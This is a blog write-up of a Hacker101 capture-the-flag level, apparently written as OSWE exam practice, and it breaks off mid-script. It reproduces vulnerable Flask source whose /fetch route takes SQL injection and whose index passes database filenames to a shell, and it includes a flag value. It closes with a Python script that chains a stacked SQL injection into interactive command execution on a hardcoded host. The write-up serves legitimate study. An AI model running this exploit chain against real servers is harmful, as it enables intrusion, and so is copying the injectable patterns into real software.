In the previous post, http://172.245.118.43/index.php/2020/03/19/oswe-blind-sql-injection-without-sqlmap/ , I discussed the possible techniques on blind sql injection (boolean based) without the usage of sqlmap through an example from hacker101. I get one of three flags on that machine, and when I try to continue, I discover something more interesting, which is related to code review (so it is helpful for my OSWE exam preparation). Therefore, I decided to continue on the machine.
Initial Vulnerability Discovery
To summarize the previous progress, I discovered that the web directory fetch?id=1 is not properly sanitized so that I can inject “AND” command behind to do boolean/time based SQL injection. After retrieving the first flag, I try to use UNION command to see if it works. From there, it can be discovered that the UNION command is not sanitized and we can use UNION to connect any SQL queries. Playing around with UNION command and I notice that “UNION select files/adorable.jpg“ can introduce the same output as the original adorable.jpg. Thus I suspect that this could help to retrieve any information I need. Unfortunately, I failed to retrieve information like “../../../../../etc/passwd” (which is probably because that the “..” is sanitized). So I decide to use fuzz the directory folder with common php/html files. I spend some time on this without getting anything. Yet one thing I notice is that the web url is “/fetch?id=1” instead of “fetch.php?id=1” (which introduces an 404 error). This reminds me of the Flask module I built, that Python hanlder directy retrieve commands sent to defined directory. In this case, I try to fuzz the server again with .py extension, and easily found “main.py”
from flask import Flask, abort, redirect, request, Response
import base64, json, MySQLdb, os, re, subprocess
app = Flask(__name__)
home = ‘’’
Magical Image Gallery
$ALBUMS$ '''viewAlbum = ‘’’
$TITLE$
$GALLERY$ '''def getDb():
return MySQLdb.connect(host=”localhost”, user=”root”, password=””, db=”level5”)
def sanitize(data):
return data.replace(‘&’, ‘&’).replace(‘<’, ‘<’).replace(‘>’, ‘>’).replace(‘“‘, ‘"’)
@app.route(‘/‘)
def index():
cur = getDb().cursor()
cur.execute(‘SELECT id, title FROM albums’)
albums = list(cur.fetchall())
rep = ''
for id, title in albums:
rep += '<h2>%s</h2>\\n' % sanitize(title)
rep += '<div>'
cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
fns = \[\]
for pid, ptitle, pfn in cur.fetchall():
rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
fns.append(pfn)
rep += '<i>Space used: ' + subprocess.check\_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\\n', 1)\[-1\] + '</i>'
rep += '</div>\\n'
return home.replace('$ALBUMS$', rep)
@app.route(‘/fetch’)
def fetch():
cur = getDb().cursor()
if cur.execute(‘SELECT filename FROM photos WHERE id=%s’ % request.args[‘id’]) == 0:
abort(404)
# It's dangerous to go alone, take this:
# ^FLAG^9eefc395fdaeb2a9082baab1437ac032518d73970e30253c8be56f99d4045a08$FLAG$
return file('./%s' % cur.fetchone()\[0\].replace('..', ''), 'rb').read()
if __name__ == “__main__“:
app.run(host=’0.0.0.0’, port=80)
Source Code Analysis
It’s worth noticing that the key fetch command is:
if cur.execute(‘SELECT filename FROM photos WHERE id=%s’ % request.args[‘id’]) == 0:
abort(404)
It’s dangerous to go alone, take this:
^FLAG^9eefc395fdaeb2a9082baab1437ac032518d73970e30253c8be56f99d4045a08$FLAG$
return file(‘./%s’ % cur.fetchone()[0].replace(‘..’, ‘’), ‘rb’).read()
I never use “file()” function before, so I check this: https://docs.python.org/2/library/functions.html#file. I assume it is very similar to open function. Also, it makes sense now that “..” is not working in the testing since it is replaced with space. So now the problem is that, the file returned from fetch must be within database. Unless we could update data into the database, we cannot retrieve it out. This might be possible, but I would like to examine the other parts of the source code. In “Check space used” function, there’s something else extremely interesting since subprocess is used. If I can control the command flow to subprocess, I can do arbitrary command execution on the target server. It can be identified that “pfn”, which is the filenames from the database is passed to the command line. I don’t know much about mysql, but my first thought is to try to update the filename entry in the database.
Final Webshell
Unfortunately, I lost my post history… I just summarize the things I did in the following: Change filename to be displayed on the website [caption id=”attachment_71” align=”alignnone” width=”300”] Get command execution.[/caption] Bypass the display restriction (the python source code use rstrip) Make a python shell to do interactive connection. The final code is attached below:
import requests
import string
import sys
cmd_url = “http://35.227.24.107/fead37f631/fetch?id=1;update%20photos%20set%20filename=%27not\_existed%20||%20\[replace\_me\]%20|%20tr%20%22\\n%22%20%22:%22%20%27%20where%20id=1;commit;--"
get_url = “http://35.227.24.107/fead37f631/"
while True:
cmd = input(“$ “)
response = requests.get(cmd_url.replace(‘[replace_me]‘,str(cmd)))
result_res = requests.get(get_url)
result_text = result_res.text
s = result_text
s = s[s.find(‘used:’)+5:]
s = s.replace(‘:’,’\n’)
s = s.split(‘